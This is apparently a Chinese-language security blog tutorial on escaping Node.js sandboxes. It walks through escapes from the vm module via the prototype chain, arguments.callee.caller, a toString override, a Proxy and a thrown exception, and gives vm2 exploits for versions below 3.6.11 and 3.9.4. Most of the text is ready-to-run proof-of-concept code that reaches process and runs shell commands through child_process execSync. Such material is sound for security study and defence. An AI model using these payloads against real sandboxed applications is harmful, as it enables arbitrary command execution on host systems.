[toc]

沙箱逃逸的核心原理:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。

VM 沙箱逃逸

简介

node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。vm 模块可在 V8 虚拟机上下文中编译和运行代码。 注意的是:vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。

官方文档原话:

一个常见的用例是在不同的 V8 上下文中运行代码。 这意味着被调用的代码与调用的代码具有不同的全局对象。

可以通过使对象上下文隔离化来提供上下文。 被调用的代码将上下文中的任何属性都视为全局变量。 由调用的代码引起的对全局变量的任何更改都将会反映在上下文对象中。

我们来看一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
const vm = require('vm');
const x = 1;
const context = { x: 2 };
vm.createContext(context); // 创建上下文隔离化对象。
const code = 'x += 40; var y = 17;';
// `x` and `y` 是上下文中的全局变量。
// 最初,x 的值为 2,因为这是 context.x 的值。
vm.runInContext(code, context);

console.log(context.x); // 42
console.log(context.y); // 17

console.log(x); // 1; y 没有定义。

原型链逃逸

首先看下官方示例

1
2
3
4
5
6
const vm = require("vm");

const ctx = {};

vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx);
console.log("Never gets executed.");

上述代码在执行时,程序在第二行就直接退出,vm 虚拟机环境中的代码逃逸,获得了主线程的 process 变量,并调用 process.exit(),造成主程序非正常退出。

它等同于

1
2
3
4
5
6
const sandbox = this; // 获取Context
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const myfun = FunctionConstructor('return process'); // 构造一个函数,返回process全局变量
const process = myfun();
process.exit();

以上是通过原型链方式完成逃逸,如果将上下文对象的原型链设置为 null 会怎么做

1
2
3
4
5
6
7
8
9
10
const vm = require("vm");
const ctx = Object.create(null);

ctx.data = {};

vm.runInNewContext(
'this.data.constructor.constructor("return process")().exit()',
ctx
);
console.log("Never gets executed.");

由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function,最终完成沙盒逃逸并执行代码。

逃逸后代码可以执行如下代码拿到 require,从而并加载其他模块功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const vm = require("vm");

const ctx = {
console,
};

vm.runInNewContext(
`
var exec = this.constructor.constructor;
var require = exec('return process.mainModule.constructor._load')();
console.log(require('child_process').execSync("ls").toString());
`,
ctx
);

这里有个疑点

为什么一定要用this来获取构造器,我如果用沙箱中别的对象可以吗?

在如下的Demo中,沙箱中存在m和n,如果我们执行{}.constructor.constructor能获取Function 对象构造函数吗

1
2
3
4
5
6
7
8
const vm = require('vm');
const script = `const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()`;

const sandbox = {m: 1, n: {}}
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)

试验后发现不行,因为{}是沙箱内的对象,沙箱内的对象无法获取到构造器

如果用this,获取到的是const sandbox = {m: 1, n: {}}这个对象,这是沙箱外的对象,是被注入进来的,是沙箱外和内的唯一连接部分,所以是可以获取到构造器的

同理n也是沙箱外的对象,如果执行n.constructor.constructor也是能获取构造器的

那如果我使用m.constructor.constructor是否可以呢

试验后发现也是不可以的,因为m虽然是沙箱外的对象,但是在nodejs中,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的。

arguments逃逸

那么,我们改一下代码,让上下文中不存在this也不存在其他对象,代码如下:

1
2
3
4
5
6
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)

此时this是null,上下文中也没有其他对象,怎么办?

此时我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量,我们可以通过arguments.callee.caller获得调用这个函数的调用者。 那么如果我们在沙盒中定义一个函数并返回,在沙盒外这个函数被调用,那么此时的arguments.callee.caller就是沙盒外的这个调用者,我们再通过这个调用者拿到它的constructor等属性,就可以绕过沙箱了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res)
console.log('Hello ' + res)

这里可见,toString就是我定义的恶意函数,里面拿到了caller,再通过caller的constructor来获取process,最后执行命令。 沙箱外如果执行了比如连接字符串等操作,就会执行这个toString函数,进而触发命令执行

如果沙箱外没有执行字符串相关操作,我们可以使用Proxy来劫持所有属性,只要沙箱外获取了属性,我们仍然可以用来执行恶意代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const vm = require('vm');
const script = `(() => {
const a = new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
})
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.aaa)

那么如果沙箱的返回值没有做任何事,或者没有捕捉返回值,怎么办呢?

我们可以借助异常,把我们沙箱内的对象抛出去,如果外部有捕捉异常的(如日志)逻辑,则也可能触发漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
vm = require('vm');
const code5 = `throw new Proxy({}, {
get: function() {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
})
`;
try {
vm.runInContext(code5, vm.createContext(Object.create(null)));
}
catch(e) {
console.log('error happend: ' + e);
}

VM2 沙箱逃逸

vm并不是一个严格意义的沙箱,只是一个简单的隔离环境,而vm2才是正经的沙箱,这里记录一下逃逸方式

< 3.6.11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
"use strict";
const {VM} = require('vm2');
const untrusted = `
const f = Buffer.prototype.write;
const ft = {
length: 10,
utf8Write(){

}
}
function r(i){
var x = 0;
try{
x = r(i);
}catch(e){}
if(typeof(x)!=='number')
return x;
if(x!==i)
return x+1;
try{
f.call(ft);
}catch(e){
return e;
}
return null;
}
var i=1;
while(1){
try{
i=r(i).constructor.constructor("return process")();
break;
}catch(x){
i++;
}
}
i.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

< 3.9.4

1
2
3
4
5
6
7
8
9
10
11
"use strict";
const {VM} = require('vm2');
const untrusted = `
let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}